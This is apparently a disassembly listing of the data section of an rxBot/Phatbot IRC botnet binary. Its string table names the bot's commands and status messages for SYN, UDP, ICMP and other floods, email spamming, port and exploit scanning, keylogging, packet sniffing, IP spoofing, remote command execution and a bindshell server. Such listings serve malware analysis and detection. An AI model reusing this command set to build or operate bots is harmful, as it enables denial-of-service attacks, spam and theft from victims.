unk_42B080	db  2Dh	; -		; DATA XREF: sub_401ACD+52FDo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFloodTy	db '- Invalid flood type specified.',0
		align 4
aRandom_0	db 'random',0           ; DATA XREF: sub_401ACD+52EDo
		align 4
aAck		db 'ack',0              ; DATA XREF: sub_401ACD+52D6o
aHcon		db 'hcon',0             ; DATA XREF: sub_401ACD+5260o
		align 10h
aHttpcon	db 'httpcon',0          ; DATA XREF: sub_401ACD+524Do
unk_42B0C8	db  2Dh	; -		; DATA XREF: sub_401ACD+51FEo
		db 3, 34h, 2
		db  65h	; e
		db 6Dh,	61h, 69h
		db  6Ch	; l
		db 2, 3, 2Dh
aMessageSentToS	db ' Message sent to %s.',0
		align 4
aHeloRndnickMai	db 'helo $rndnick',0Ah  ; DATA XREF: sub_401ACD+518Ao
		db 'mail from: <%s>',0Ah
		db 'rcpt to: <%s>',0Ah
		db 'data',0Ah
		db 'subject: %s',0Ah
		db 'from: %s',0Ah
		db '%s',0Ah
		db '.',0Ah,0
aEmail		db 'email',0            ; DATA XREF: sub_401ACD+509Fo
		align 10h
aTcp		db 'tcp',0              ; DATA XREF: sub_401ACD+5088o
aTcpflood	db 'tcpflood',0         ; DATA XREF: sub_401ACD+5071o
		align 10h
aP:					; DATA XREF: sub_401ACD+505Ao
					; ___:004382F8o ...
		unicode	0, <p>,0
aPing_0		db 'ping',0             ; DATA XREF: sub_401ACD+5043o
		align 4
aPingflood	db 'pingflood',0        ; DATA XREF: sub_401ACD+502Co
		align 4
aNs		db 'ns',0               ; DATA XREF: sub_401ACD+5015o
		align 4
aNetsend	db 'netsend',0          ; DATA XREF: sub_401ACD+4FFEo
aU:					; DATA XREF: sub_401ACD+4FE7o
					; ___:004382F0o ...
		unicode	0, <u>,0
aUdp		db 'udp',0              ; DATA XREF: sub_401ACD+4FD0o
aUdpflood	db 'udpflood',0         ; DATA XREF: sub_401ACD+4FB9o
		align 4
aAdv		db 'adv',0              ; DATA XREF: sub_401ACD+4FA2o
aAdvscan	db 'advscan',0          ; DATA XREF: sub_401ACD+4F8Bo
aPsc		db 'psc',0              ; DATA XREF: sub_401ACD+4F74o
aPortscan	db 'portscan',0         ; DATA XREF: sub_401ACD+4F5Do
		align 4
aC_a		db 'c_a',0              ; DATA XREF: sub_401ACD+4F37o
aC_action	db 'c_action',0         ; DATA XREF: sub_401ACD+4F20o
		align 4
aC_pm		db 'c_pm',0             ; DATA XREF: sub_401ACD+4F09o
		align 4
aC_privmsg	db 'c_privmsg',0        ; DATA XREF: sub_401ACD+4EF2o
		align 4
aSc		db 'sc',0               ; DATA XREF: sub_401ACD+4EDBo
		align 4
aScan		db 'scan',0             ; DATA XREF: sub_401ACD+4EC4o
		align 4
aRd		db 'rd',0               ; DATA XREF: sub_401ACD+4EADo
		align 4
aRedirect	db 'redirect',0         ; DATA XREF: sub_401ACD+4E96o
		align 4
aJpl10		db 'jpl10',0            ; DATA XREF: sub_401ACD+4E7Fo
		align 4
aJpldg10	db 'jpldg10',0          ; DATA XREF: sub_401ACD+4E68o
aWonk		db 'wonk',0             ; DATA XREF: sub_401ACD+4E51o
		align 4
aPhatwonk	db 'phatwonk',0         ; DATA XREF: sub_401ACD+4E3Ao
		align 4
dword_42B208	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_401ACD+4E2Do
aFailedToSta_14	db '- Failed to start flood thread, error: <%d>.',0
		align 4
dword_42B244	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_401ACD+4DBEo
aFloodingSSFo_1	db '- Flooding: (%s:%s) for %s seconds.',0
aSkysyn		db 'skysyn',0           ; DATA XREF: sub_401ACD+4D3Bo
		align 4
aSyn		db 'syn',0              ; DATA XREF: sub_401ACD+4D24o
					; sub_401ACD+52BEo
aSynflood	db 'synflood',0         ; DATA XREF: sub_401ACD+4D0Do
		align 4
unk_42B28C	db  2Dh	; -		; DATA XREF: sub_401ACD+4D00o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aFailedToSta_15	db '- Failed to start flood thread, error: <%d>.',0
		align 4
aWisdom_udp	db 'wisdom.udp',0       ; DATA XREF: sub_401ACD+4C29o
		align 4
aDdos_random	db 'ddos.random',0      ; DATA XREF: sub_401ACD+4C12o
					; sub_412B09:loc_412C35o
aDdos_ack	db 'ddos.ack',0         ; DATA XREF: sub_401ACD+4BFBo
					; sub_412B09:loc_412C19o
		align 10h
aDdos_syn	db 'ddos.syn',0         ; DATA XREF: sub_401ACD+4BE4o
					; sub_412B09+F1o
		align 4
aC:					; DATA XREF: sub_401ACD+4BCDo
					; ___:00438328o ...
		unicode	0, <c>,0
aClone_0	db 'clone',0            ; DATA XREF: sub_401ACD+4BB6o
		align 4
aIcmp		db 'icmp',0             ; DATA XREF: sub_401ACD+4B8Do
		align 10h
aIcmpflood	db 'icmpflood',0        ; DATA XREF: sub_401ACD+4B76o
		align 4
aMv		db 'mv',0               ; DATA XREF: sub_401ACD+4B5Fo
		align 10h
aRename		db 'rename',0           ; DATA XREF: sub_401ACD+4B48o
		align 4
aFf		db 'ff',0               ; DATA XREF: sub_401ACD+4B31o
		align 4
aFindfile	db 'findfile',0         ; DATA XREF: sub_401ACD+4B1Ao
		align 4
aE:					; DATA XREF: sub_401ACD+4B03o
					; ___:004382E0o ...
		unicode	0, <e>,0
aExecute	db 'execute',0          ; DATA XREF: sub_401ACD+4AECo
aJp10		db 'jp]10',0            ; DATA XREF: sub_401ACD+4AD5o
		align 4
aJpDe10		db 'jp]de10',0          ; DATA XREF: sub_401ACD+4ABEo
aDe		db 'de',0               ; DATA XREF: sub_401ACD+4AA7o
		align 4
aDelay		db 'delay',0            ; DATA XREF: sub_401ACD+4A90o
		align 10h
aRp		db 'rp',0               ; DATA XREF: sub_401ACD+4A79o
		align 4
aRepeat		db 'repeat',0           ; DATA XREF: sub_401ACD+4A62o
					; sub_401ACD+6BE8o
		align 4
aTsn		db 'tsn',0              ; DATA XREF: sub_401ACD+4A4Bo
aTsunami	db 'tsunami',0          ; DATA XREF: sub_401ACD+4A34o
aT3		db 't3',0               ; DATA XREF: sub_401ACD+4A1Do
		align 4
aTarga3		db 'targa3',0           ; DATA XREF: sub_401ACD+4A06o
		align 4
aC_p		db 'c_p',0              ; DATA XREF: sub_401ACD+49EFo
aC_part		db 'c_part',0           ; DATA XREF: sub_401ACD+49D8o
		align 10h
aC_j		db 'c_j',0              ; DATA XREF: sub_401ACD+49C1o
aC_join		db 'c_join',0           ; DATA XREF: sub_401ACD+49AAo
		align 4
aC_n		db 'c_n',0              ; DATA XREF: sub_401ACD+4993o
aC_nick		db 'c_nick',0           ; DATA XREF: sub_401ACD+497Co
		align 4
aC_m		db 'c_m',0              ; DATA XREF: sub_401ACD+4965o
aC_mode		db 'c_mode',0           ; DATA XREF: sub_401ACD+494Eo
		align 4
aC_r		db 'c_r',0              ; DATA XREF: sub_401ACD+4937o
aC_raw		db 'c_raw',0            ; DATA XREF: sub_401ACD+4920o
		align 10h
aM:					; DATA XREF: sub_401ACD+4909o
					; ___:00438338o ...
		unicode	0, <m>,0
aCy		db 'cy',0               ; DATA XREF: sub_401ACD+48DBo
		align 4
aCycle		db 'cycle',0            ; DATA XREF: sub_401ACD+48C4o
		align 10h
aA:					; DATA XREF: sub_401ACD+48ADo
					; ___:004382FCo
		unicode	0, <a>,0
aAction		db 'action',0           ; DATA XREF: sub_401ACD+4896o
		align 4
aPrivmsg_0	db 'privmsg',0          ; DATA XREF: sub_401ACD+4868o
aAa		db 'aa',0               ; DATA XREF: sub_401ACD+4851o
		align 4
aAddalias	db 'addalias',0         ; DATA XREF: sub_401ACD+483Ao
		align 4
aKl		db 'kl',0               ; DATA XREF: sub_401ACD+4823o
		align 4
aKilllog	db 'killlog',0          ; DATA XREF: sub_401ACD+480Co
aGh		db 'gh',0               ; DATA XREF: sub_401ACD+47E3o
		align 4
aGethost	db 'gethost',0          ; DATA XREF: sub_401ACD+47CEo
aCap		db 'cap',0              ; DATA XREF: sub_401ACD+47B9o
aCapture	db 'capture',0          ; DATA XREF: sub_401ACD+47A4o
unk_42B418	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406266o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aCommandUnknown	db '- Command unknown.',0
unk_42B434	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40625Co
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aNoMessageSpeci	db '- No message specified.',0
		align 4
aSend		db 'send',0             ; DATA XREF: sub_401ACD+475Fo
					; sub_409B13+5F0o
		align 10h
unk_42B460	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40621Fo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListFailed	db '- User list failed.',0
		align 10h
unk_42B480	db  2Dh	; -		; DATA XREF: sub_401ACD+4748o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListComple	db '- User list completed.',0
unk_42B4A0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406194o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListFaile	db '- Share list failed.',0
		align 10h
unk_42B4C0	db  2Dh	; -		; DATA XREF: sub_401ACD+46BDo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListCompl	db '- Share list completed.',0
		align 4
aShare		db 'share',0            ; DATA XREF: sub_401ACD+466Fo
		align 4
aContinue	db 'continue',0         ; DATA XREF: sub_401ACD+462Bo
		align 4
aPause		db 'pause',0            ; DATA XREF: sub_401ACD+4611o
		align 10h
aStop		db 'stop',0             ; DATA XREF: sub_401ACD+45F7o
		align 4
unk_42B508	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4060B7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListFai	db '- Service list failed.',0
unk_42B528	db  2Dh	; -		; DATA XREF: sub_401ACD+45E0o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListCom	db '- Service list completed.',0
		align 4
aStart		db 'start',0            ; DATA XREF: sub_401ACD+45AAo
		align 4
unk_42B554	db  2Dh	; -		; DATA XREF: sub_401ACD+4578o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aFailedToLoadAd	db '- Failed to load advapi32.dll or netapi32.dll.',0
aNet		db 'net',0              ; DATA XREF: sub_401ACD+4554o
dword_42B590	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+4549o
aFailedToStartL	db '- Failed to start logging thread, error: <%d>.',0
		align 4
dword_42B5CC	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+44DAo
aKeyLoggerActiv	db '- Key logger active.',0
		align 10h
dword_42B5F0	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+4458o
aAlreadyRunning	db '- Already running.',0
		align 10h
dword_42B610	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD:loc_405F0Fo
aNoKeyLoggerThr	db '- No key logger thread found.',0
		align 4
dword_42B63C	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+4438o
aKeyLoggerStopp	db '- Key logger stopped. (%d thread(s) stopped.)',0
		align 4
aFile		db 'file',0             ; DATA XREF: sub_401ACD+43F9o
		align 10h
aKeylog		db 'keylog',0           ; DATA XREF: sub_401ACD+43D7o
		align 4
dword_42B688	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD:loc_405E99o
aNoThreadFound_	db '- No thread found.',0
		align 4
dword_42B6A8	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+43C2o
aServerStopped_	db '- Server stopped. (%d thread(s) stopped.)',0
		align 10h
dword_42B6E0	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4392o
aFailedToSta_16	db '- Failed to start server, error: <%d>.',0
		align 4
dword_42B714	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4345o
aServerRunnin_0	db '- Server running on Port: 113.',0
		align 10h
dword_42B740	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4335o
aAlreadyRunni_0	db '- Already running.',0
		align 10h
aIdent		db 'ident',0            ; DATA XREF: sub_401ACD+4302o
		align 4
unk_42B768	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_405DC4o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aNoPhatbotSniff	db '- No Phatbot sniffer thread found.',0
unk_42B798	db  2Dh	; -		; DATA XREF: sub_401ACD+42EDo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aPhatbotSniffer	db '- Phatbot sniffer stopped. (%d thread(s) stopped.)',0
unk_42B7D8	db  2Dh	; -		; DATA XREF: sub_401ACD+42BDo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFailedToSta_17	db '- Failed to start sniffer thread, error: <%d>.',0
unk_42B814	db  2Dh	; -		; DATA XREF: sub_401ACD+424Eo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aPhatbotPacketS	db '- Phatbot packet sniffer active.',0
		align 4
unk_42B844	db  2Dh	; -		; DATA XREF: sub_401ACD+41E7o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aAlreadyRunni_1	db '- Already running.',0
aSniffer	db 'sniffer',0          ; DATA XREF: sub_401ACD+41B0o
dword_42B86C	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD:loc_405C72o
aNoCarnivoreThr	db '- No Carnivore thread found.',0
		align 4
dword_42B898	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+419Bo
aCarnivoreStopp	db '- Carnivore stopped. (%d thread(s) stopped.)',0
		align 4
dword_42B8D4	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+416Bo
aFailedToSta_18	db '- Failed to start sniffer thread, error: <%d>.',0
		align 10h
dword_42B910	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+40FCo
aCarnivorePacke	db '- Carnivore packet sniffer active.',0
		align 10h
dword_42B940	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+4095o
aAlreadyRunni_2	db '- Already running.',0
		align 10h
aOn		db 'on',0               ; DATA XREF: sub_401ACD+4075o
					; sub_401ACD+41C7o ...
		align 4
aPsniff		db 'psniff',0           ; DATA XREF: sub_401ACD+405Eo
		align 4
aRf		db 'rf',0               ; DATA XREF: sub_401ACD+4049o
		align 10h
aReadfile	db 'readfile',0         ; DATA XREF: sub_401ACD+4034o
		align 4
aCm		db 'cm',0               ; DATA XREF: sub_401ACD+401Fo
		align 10h
aCmd		db 'cmd',0              ; DATA XREF: sub_401ACD+400Ao
aMirc		db 'mirc',0             ; DATA XREF: sub_401ACD+3FF5o
		align 4
aMirccmd	db 'mirccmd',0          ; DATA XREF: sub_401ACD+3FE0o
aV:					; DATA XREF: sub_401ACD+3FCBo
					; ___:0043832Co ...
		unicode	0, <v>,0
aVisit		db 'visit',0            ; DATA XREF: sub_401ACD+3FB6o
		align 10h
aLi		db 'li',0               ; DATA XREF: sub_401ACD+3FA1o
		align 4
aList		db 'list',0             ; DATA XREF: sub_401ACD+3F8Co
		align 4
aGt		db 'gt',0               ; DATA XREF: sub_401ACD+3F77o
		align 10h
aDel		db 'del',0              ; DATA XREF: sub_401ACD+3F4Do
aDelete		db 'delete',0           ; DATA XREF: sub_401ACD+3F38o
					; sub_401ACD+4645o
		align 4
aKi		db 'ki',0               ; DATA XREF: sub_401ACD+3F23o
		align 10h
aKill		db 'kill',0             ; DATA XREF: sub_401ACD+3F0Eo
		align 4
aKp		db 'kp',0               ; DATA XREF: sub_401ACD+3EF9o
		align 4
aKillproc	db 'killproc',0         ; DATA XREF: sub_401ACD+3EE4o
		align 4
aDn		db 'dn',0               ; DATA XREF: sub_401ACD+3ECFo
		align 4
aDns		db 'dns',0              ; DATA XREF: sub_401ACD+3EBAo
aSe		db 'se',0               ; DATA XREF: sub_401ACD+3EA5o
		align 4
aO:					; DATA XREF: sub_401ACD+3E7Bo
					; ___:0043865Co
		unicode	0, <o>,0
aOpen		db 'open',0             ; DATA XREF: sub_401ACD+3E66o
					; sub_401ACD+590Co ...
		align 10h
aPr		db 'pr',0               ; DATA XREF: sub_401ACD+3E51o
		align 4
aPrefix		db 'prefix',0           ; DATA XREF: sub_401ACD+3E3Co
		align 4
aC_rn		db 'c_rn',0             ; DATA XREF: sub_401ACD+3E27o
		align 4
aC_rndnick	db 'c_rndnick',0        ; DATA XREF: sub_401ACD+3E12o
		align 10h
aC_q		db 'c_q',0              ; DATA XREF: sub_401ACD+3DFDo
aC_quit		db 'c_quit',0           ; DATA XREF: sub_401ACD+3DE8o
		align 4
aK:					; DATA XREF: sub_401ACD+3DD3o
					; ___:00438318o ...
		unicode	0, <k>,0
aKillthread	db 'killthread',0       ; DATA XREF: sub_401ACD+3DBEo
		align 4
aRaw		db 'raw',0              ; DATA XREF: sub_401ACD+3D94o
aPt		db 'pt',0               ; DATA XREF: sub_401ACD+3D7Fo
		align 4
aJ:					; DATA XREF: sub_401ACD+3D55o
					; ___:00438314o ...
		unicode	0, <j>,0
aN:					; DATA XREF: sub_401ACD+3D2Bo
					; ___:00438334o ...
		unicode	0, <n>,0
unk_42BA3C	db  2Dh	; -		; DATA XREF: sub_401ACD+3CF7o
		db 3, 34h, 2
		db  69h	; i
		db 72h,	63h, 66h
		db  75h	; u
		db 63h,	6Bh, 2
		db    3
aDisconnectingC	db '- disconnecting clones...',0
		align 4
aNickservRegist	db 'nickserv register %s %s',0 ; DATA XREF: sub_401ACD+3C93o
aRegister	db 'register',0         ; DATA XREF: sub_401ACD+3C6Ao
		align 4
aPrivmsgSS_0	db 'PRIVMSG %s :%s',0   ; DATA XREF: sub_401ACD+3C11o
		align 4
aMix		db 'mix',0              ; DATA XREF: sub_401ACD+3B44o
dword_42BA9C	dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h
					; DATA XREF: sub_401ACD+3AF0o
					; sub_401ACD+3B27o
		dd 0
dword_42BAB4	dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h
					; DATA XREF: sub_401ACD+3AB9o
		dd 1
dword_42BACC	dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h
					; DATA XREF: sub_401ACD+3A82o
					; sub_401ACD+3B99o
aCtcp		db 'ctcp',0             ; DATA XREF: sub_401ACD+3A2Do
		align 4
aNoticeSS_0	db 'NOTICE %s :%s',0    ; DATA XREF: sub_401ACD+3998o
					; sub_401ACD+39D4o ...
		align 4
aNotice_0	db 'notice',0           ; DATA XREF: sub_401ACD+393Eo
		align 10h
aMsg		db 'msg',0              ; DATA XREF: sub_401ACD+384Fo
aChgnick	db 'chgnick',0          ; DATA XREF: sub_401ACD+3808o
aNick_0		db 'nick',0             ; DATA XREF: sub_401ACD+3706o
					; sub_401ACD+3D16o
		align 4
dword_42BB14	dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h
					; DATA XREF: sub_401ACD+36E9o
		dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1
dword_42BB3C	dd 636364h		; DATA XREF: sub_401ACD+366Co
dword_42BB40	dd 6E696F6Ah, 7261702Fh, 74h ; DATA XREF: sub_401ACD+351Fo
dword_42BB4C	dd 4B43494Eh, 732520h	; DATA XREF: sub_401ACD+3502o
					; sub_401ACD+3763o ...
dword_42BB54	dd 69257325h, 0		; DATA XREF: sub_401ACD+34E7o
					; sub_40ACB6+4Fo ...
aPnick		db 'pnick',0            ; DATA XREF: sub_401ACD+34A6o
		align 4
aPartSS		db 'part %s %s',0       ; DATA XREF: sub_401ACD+3489o
					; sub_401ACD+3579o ...
		align 10h
aPartflood	db 'partflood',0        ; DATA XREF: sub_401ACD+3462o
		align 4
aPartS		db 'part %s',0          ; DATA XREF: sub_401ACD+3445o
aPart_0		db 'part',0             ; DATA XREF: sub_401ACD+3423o
					; sub_401ACD+3D6Ao
		align 4
aJoinS		db 'join %s',0          ; DATA XREF: sub_401ACD+3406o
					; sub_401ACD+354Do ...
aJoin		db 'join',0             ; DATA XREF: sub_401ACD+33E4o
					; sub_401ACD+3D40o
		align 4
aModeSS		db 'mode %s %s',0       ; DATA XREF: sub_401ACD+33C7o
		align 4
aMode		db 'mode',0             ; DATA XREF: sub_401ACD+3378o
					; sub_401ACD+48F2o
		align 10h
aNoticeSS_1	db 'notice %s :%s',0    ; DATA XREF: sub_401ACD+335Bo
		align 10h
aNt		db 'nt',0               ; DATA XREF: sub_401ACD+330Co
		align 4
dword_42BBC4	dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0
					; DATA XREF: sub_401ACD+32EFo
dword_42BBD8	dd 7463h		; DATA XREF: sub_401ACD+32A0o
dword_42BBDC	dd 76697270h, 2067736Dh, 3A207325h, 7325h ; DATA XREF: sub_401ACD+3283o
					; sub_401ACD+38A9o ...
dword_42BBEC	dd 5Fh			; DATA XREF: sub_401ACD+3254o
					; sub_401ACD+32C0o ...
dword_42BBF0	dd 6D70h		; DATA XREF: sub_401ACD+3234o
					; sub_401ACD+487Fo
unk_42BBF4	db  2Dh	; -		; DATA XREF: sub_401ACD+3202o
		db 3, 34h, 2
		db  69h	; i
		db 72h,	63h, 66h
		db  75h	; u
		db 63h,	6Bh, 2
		db    3
aSClonesLoadedT	db '- %s clones loaded to %s:%s',0
		align 10h
aLoad		db 'load',0             ; DATA XREF: sub_401ACD+31ABo
		align 4
aFlood		db 'flood',0            ; DATA XREF: sub_401ACD+3182o
		align 10h
aRinms		db 'rinms',0            ; DATA XREF: sub_401ACD+316Bo
		align 4
aReconnect_in_m	db 'reconnect.in.ms',0  ; DATA XREF: sub_401ACD+3156o
aRin		db 'rin',0              ; DATA XREF: sub_401ACD+3141o
aReconnect_in	db 'reconnect.in',0     ; DATA XREF: sub_401ACD+312Co
		align 4
unk_42BC5C	db  2Dh	; -		; DATA XREF: sub_401ACD+3121o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFailedToStartE	db '- Failed to start exploiter thread, error: <%d>.',0
		align 4
unk_42BC9C	db  2Dh	; -		; DATA XREF: sub_401ACD+30AFo
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aAttemptingToCo	db '- attempting to compromise %s...',0
		align 4
aExploit	db 'exploit',0          ; DATA XREF: sub_401ACD+3029o
unk_42BCD4	db  2Dh	; -		; DATA XREF: sub_401ACD+300Fo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofIpSetToS_	db ' Spoof IP set to ',27h,'%s',27h,'.',0
		align 10h
unk_42BD00	db  2Dh	; -		; DATA XREF: sub_401ACD+2FF1o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSIsAnInvalidIp	db ' ',27h,'%s',27h,' is an invalid IP address.',0
aD_D_D_		db '%d.%d.%d.*',0       ; DATA XREF: sub_401ACD+2FCDo
		align 10h
unk_42BD40	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_404A41o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingCurren	db ' Spoofing currently set to ',27h,'%s',27h,'.',0
		align 4
aGet		db 'get',0              ; DATA XREF: sub_401ACD:loc_404A23o
					; sub_401ACD+3F62o
unk_42BD7C	db  2Dh	; -		; DATA XREF: sub_401ACD+2EDBo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aInvalidLoginSl	db 'Invalid login slot number: %d.',0
		align 4
unk_42BDA8	db  2Dh	; -		; DATA XREF: sub_401ACD+2ED3o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aNoUserLoggedIn	db 'No user logged in at slot: %d.',0
		align 4
dword_42BDD4	dd 234032Dh, 6E69616Dh,	202D0302h, 7325h ; DATA	XREF: sub_401ACD+2E7Eo
unk_42BDE4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40493Co
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aThisModOfRxbot	db 'This mod of rxBot is dedicated to Pia Gerhardt (nameless@efnet/ir'
		db 'cnet), the Beautiful Operatress from Heaven (or Bitch Operatress '
		db 'from Hell?) who I love so much.',0
		align 4
dword_42BE94	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_401ACD+2E4Co
aFailedToSta_19	db '- Failed to start secure thread, error: <%d>.',0
		align 10h
dword_42BED0	dd 234032Dh, 75636573h,	3026572h, 7325202Dh, 73797320h
					; DATA XREF: sub_401ACD+2DD2o
		dd 2E6D6574h, 0
aUnsecuring	db 'Unsecuring',0       ; DATA XREF: sub_401ACD+2DCCo
		align 4
aSecuring	db 'Securing',0         ; DATA XREF: sub_401ACD+2DC5o
		align 4
unk_42BF04	db  2Dh	; -		; DATA XREF: sub_401ACD+2D4Eo
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFailedToSta_20	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42BF44	db  2Dh	; -		; DATA XREF: sub_401ACD+2CCAo
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aServerStartedO	db ' Server started on: %s:%d.',0
		align 10h
dword_42BF70	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_401ACD+2C48o
aFailedToSta_21	db '- Failed to start server thread, error: <%d>.',0
		align 4
dword_42BFAC	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_401ACD+2BD9o
aServerStarte_0	db '- Server started on: %s:%d.',0
dword_42BFD4	dd 234032Dh, 646E6966h,	656C6966h, 2D0302h ; DATA XREF:	sub_401ACD+2B26o
dword_42BFE4	dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_401ACD+2B21o
dword_42BFF0	dd 234032Dh, 636F7270h,	2D030273h, 0 ; DATA XREF: sub_401ACD+2B0Eo
dword_42C000	dd 636F7250h, 20737365h, 7473696Ch, 0 ;	DATA XREF: sub_401ACD+2B09o
dword_42C010	dd 234032Dh, 6E69616Dh,	202D0302h, 6F636552h, 63656E6Eh
					; DATA XREF: sub_401ACD+2A96o
		dd 676E6974h, 2Eh
aQuitReconnecti	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404556o
					; sub_401ACD:loc_409779o ...
		align 4
dword_42C044	dd 234032Dh, 6E69616Dh,	202D0302h, 63736944h, 656E6E6Fh
					; DATA XREF: sub_401ACD+2A74o
		dd 6E697463h, 2E67h
aQuitDisconnect	db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404534o
		align 4
aQuitLater	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_40451Eo
					; sub_401ACD+7A7Fo
		align 4
aQuitS		db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+2A3Fo
		align 4
unk_42C094	db  2Dh	; -		; DATA XREF: sub_401ACD+2A18o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aStatusReady_Bo	db 'Status: Ready. Bot Uptime: %s.',0
		align 10h
dword_42C0C0	dd 234032Dh, 6E69616Dh,	202D0302h, 20746F42h, 203A4449h
					; DATA XREF: sub_401ACD+29D9o
		dd 2E7325h
unk_42C0D8	db  2Dh	; -		; DATA XREF: sub_401ACD+29CAo
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToSta_22	db '- Failed to start list thread, error: <%d>.',0
		align 4
dword_42C114	dd 234032Dh, 65726874h,	2736461h, 4C202D03h, 20747369h
					; DATA XREF: sub_401ACD+295Bo
		dd 65726874h, 2E736461h, 0
dword_42C134	dd 627573h		; DATA XREF: sub_401ACD+2935o
dword_42C138	dd 234032Dh, 6E69616Dh,	202D0302h, 61696C41h, 696C2073h
					; DATA XREF: sub_401ACD+28E3o
		dd 2E7473h
